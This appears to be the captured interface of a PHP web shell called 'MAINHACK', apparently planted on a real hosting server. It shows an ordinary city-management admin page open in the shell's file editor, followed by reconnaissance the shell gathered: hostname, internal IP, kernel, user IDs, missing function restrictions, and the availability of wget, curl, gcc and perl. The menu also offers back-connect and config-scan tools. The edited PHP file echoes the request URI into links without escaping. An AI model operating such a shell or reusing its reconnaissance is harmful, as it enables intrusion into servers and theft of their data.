[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: all_city.php
<?php include'header.php';?> <script src="jquery-1.11.1.min.js"></script> <div class="main-panel"> <div class="content"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-body"> <div class="table-responsive"> <h5 class="page-title">All City</h5> <table id="basic-datatables" class="display table table-striped table-hover"> <thead> <tr> <th>Sl</th> <th>City</th> <th>Image</th> <th>Status</th> <th>Delete</th> </tr> </thead> <tbody> <?php $sr='city'; $stmt =$show->readAll_clause($sr,'order by id desc'); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; echo "<tr> <td>$count</td> <td>".$row['city']."</td> <td><img src='".$pic_img."/".$row['image']."' width='100px'></td> " ; ?> <td> <script> $(document).ready(function(){ $('#status<?=$count;?>').change(function(){ var status=$('#status<?=$count;?>').val(); var id=$('#id<?=$count;?>').val(); //alert(status); $.ajax({ type: "POST", url: "ajax_check.php", // Name of the php files data: "status="+status+"&id="+id+"&table=city", async: false, global: false, success: function(result) { window.location.reload(); } }); }); }); </script> <?php $interests = array('ACTIVE','INACTIVE'); ?> <select name="status" id="status<?=$count;?>"> <?php foreach( $interests as $interest ): ?> <option value="<?php echo $interest ?>"<?php if( $interest==$row['status']): ?> selected="selected"<?php endif; ?>><?php echo $interest ?></option> <?php endforeach; ?> </select> <input type="hidden" id="id<?=$count?>" value="<?=$row['id']?>" > </td> <td> <a href="edit_city.php?id=<?=$id?>&table=<?=$sr?>&url=<?=$_SERVER['REQUEST_URI']?>" class="btn btn-xs btn-success">Edit</a> <a href="delete.php?id=<?=$id?>&table=<?=$sr?>&url=<?=$_SERVER['REQUEST_URI']?>" class="btn btn-xs btn-danger"onclick="return send();">Delete</a> </td> <?php echo"</tr>"; ++$count; } } ?> </tbody></table> </div> </div> </div> </div> </div> </div> </div> </div> </div> <script > $(document).ready(function() { $('#basic-datatables').DataTable({ }); $('#multi-filter-select').DataTable( { "pageLength": 5, initComplete: function () { this.api().columns().every( function () { var column = this; var select = $('<select class="form-control"><option value=""></option></select>') .appendTo( $(column.footer()).empty() ) .on( 'change', function () { var val = $.fn.dataTable.util.escapeRegex( $(this).val() ); column .search( val ? '^'+val+'$' : '', true, false ) .draw(); } ); column.data().unique().sort().each( function ( d, j ) { select.append( '<option value="'+d+'">'+d+'</option>' ) } ); } ); } }); // Add Row $('#add-row').DataTable({ "pageLength": 5, }); var action = '<td> <div class="form-button-action"> <button type="button" data-toggle="tooltip" title="" class="btn btn-link btn-primary btn-lg" data-original-title="Edit Task"> <i class="la la-edit"></i> </button> <button type="button" data-toggle="tooltip" title="" class="btn btn-link btn-danger" data-original-title="Remove"> <i class="la la-times"></i> </button> </div> </td>'; $('#addRowButton').click(function() { $('#add-row').dataTable().fnAddData([ $("#addName").val(), $("#addPosition").val(), $("#addOffice").val(), action ]); $('#addRowModal').modal('hide'); }); }); </script> <?php include'footer.php';?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.03 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619